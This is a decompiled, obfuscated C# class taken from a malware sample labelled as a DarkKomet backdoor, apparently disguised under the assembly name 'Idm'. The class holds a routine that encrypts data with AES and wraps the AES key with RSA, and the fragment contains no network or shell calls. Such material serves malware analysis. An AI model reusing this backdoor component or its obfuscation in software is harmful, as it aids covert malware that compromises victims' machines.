// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe

using \u0003;
using \u0006\u0002;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

namespace \u0006\u0002
{
  internal class \u0008
  {
    public static string \u0001;

    public static byte[] \u0006\u0002([In] byte[] obj0, [In] string obj1)
    {
      if (obj1.StartsWith(\u0002.\u0002\u0002(189)))
      {
        \u0008.\u0001 = \u0002.\u0002\u0002(194);
        return (byte[]) null;
      }
      if (true)
        goto label_31;
label_3:
      if (true)
        goto label_32;
label_4:
      MemoryStream memoryStream;
      do
      {
        if (true)
          goto label_33;
label_5:
        continue;
label_33:
        memoryStream = (MemoryStream) null;
        goto label_5;
      }
      while (false);
      if (true)
        goto label_34;
label_7:
      RSACryptoServiceProvider cryptoServiceProvider1;
      RijndaelManaged rijndaelManaged1;
      CryptoStream cryptoStream;
      try
      {
        if (true)
          goto label_18;
label_15:
        \u001A\u0002.\u007E\u0087\u0006((object) cryptoStream);
        return \u0099\u0003.\u007E\u0014\u0006((object) memoryStream);
label_18:
        RijndaelManaged rijndaelManaged2 = new RijndaelManaged();
        if (true)
          goto label_16;
label_8:
        RSACryptoServiceProvider cryptoServiceProvider2 = new RSACryptoServiceProvider();
        if (true)
          goto label_17;
label_9:
        \u001B\u0002.\u007E\u0084\u0006((object) cryptoServiceProvider1, obj1);
        \u001A\u0002.\u007E\u008C\u0006((object) rijndaelManaged1);
        \u001A\u0002.\u007E\u008D\u0006((object) rijndaelManaged1);
        byte[] numArray1 = new byte[48];
        \u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u008A\u0006((object) rijndaelManaged1), 0, (Array) numArray1, 0, 32);
        \u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u0089\u0006((object) rijndaelManaged1), 0, (Array) numArray1, 32, 16);
        memoryStream = new MemoryStream();
        try
        {
          byte[] numArray2 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, numArray1, false);
          \u0014\u0004.\u007E\u000E\u0006((object) memoryStream, (byte) 1);
          \u0014\u0004.\u007E\u000E\u0006((object) memoryStream, \u0012\u0003.\u0007\u0003(numArray2.Length / 8));
          \u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray2, 0, numArray2.Length);
        }
        catch (CryptographicException ex1)
        {
          try
          {
            byte[] numArray3 = new byte[16];
            byte[] numArray4 = new byte[16];
            \u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u008A\u0006((object) rijndaelManaged1), 0, (Array) numArray3, 0, 16);
            \u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u008A\u0006((object) rijndaelManaged1), 16, (Array) numArray4, 0, 16);
            byte[] numArray5 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, numArray3, false);
            byte[] numArray6 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, numArray4, false);
            byte[] numArray7 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, \u0099\u0003.\u007E\u0089\u0006((object) rijndaelManaged1), false);
            \u0014\u0004.\u007E\u000E\u0006((object) memoryStream, (byte) 2);
            \u0014\u0004.\u007E\u000E\u0006((object) memoryStream, \u0012\u0003.\u0007\u0003(numArray5.Length / 8));
            \u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray5, 0, numArray5.Length);
            \u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray6, 0, numArray6.Length);
            \u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray7, 0, numArray7.Length);
          }
          catch (CryptographicException ex2)
          {
            \u0008.\u0001 = \u0002.\u0002\u0002(287);
            return (byte[]) null;
          }
        }
        cryptoStream = new CryptoStream((Stream) memoryStream, \u001F\u0004.\u007E\u008B\u0006((object) rijndaelManaged1), CryptoStreamMode.Write);
        \u0013\u0004.\u007E\u0008\u0006((object) cryptoStream, obj0, 0, obj0.Length);
        goto label_15;
label_17:
        cryptoServiceProvider1 = cryptoServiceProvider2;
        goto label_9;
label_16:
        rijndaelManaged1 = rijndaelManaged2;
        goto label_8;
      }
      catch (Exception ex)
      {
        \u0008.\u0001 = \u009A\u0002.\u001E\u0002(\u0002.\u0002\u0002(493), \u0082\u0002.\u007E\u0086\u0002((object) ex));
        return (byte[]) null;
      }
      finally
      {
        if (rijndaelManaged1 != null)
          \u001A\u0002.\u007E\u0088\u0006((object) rijndaelManaged1);
        if (cryptoServiceProvider1 != null)
          \u001A\u0002.\u007E\u0083\u0006((object) cryptoServiceProvider1);
        if (true)
        {
          if (memoryStream != null)
            \u001A\u0002.\u007E\u0003\u0006((object) memoryStream);
          if (cryptoStream == null)
            goto label_30;
        }
        if (true)
          \u001A\u0002.\u007E\u0003\u0006((object) cryptoStream);
label_30:;
      }
label_34:
      cryptoStream = (CryptoStream) null;
      goto label_7;
label_32:
      cryptoServiceProvider1 = (RSACryptoServiceProvider) null;
      goto label_4;
label_31:
      rijndaelManaged1 = (RijndaelManaged) null;
      goto label_3;
    }
  }
}
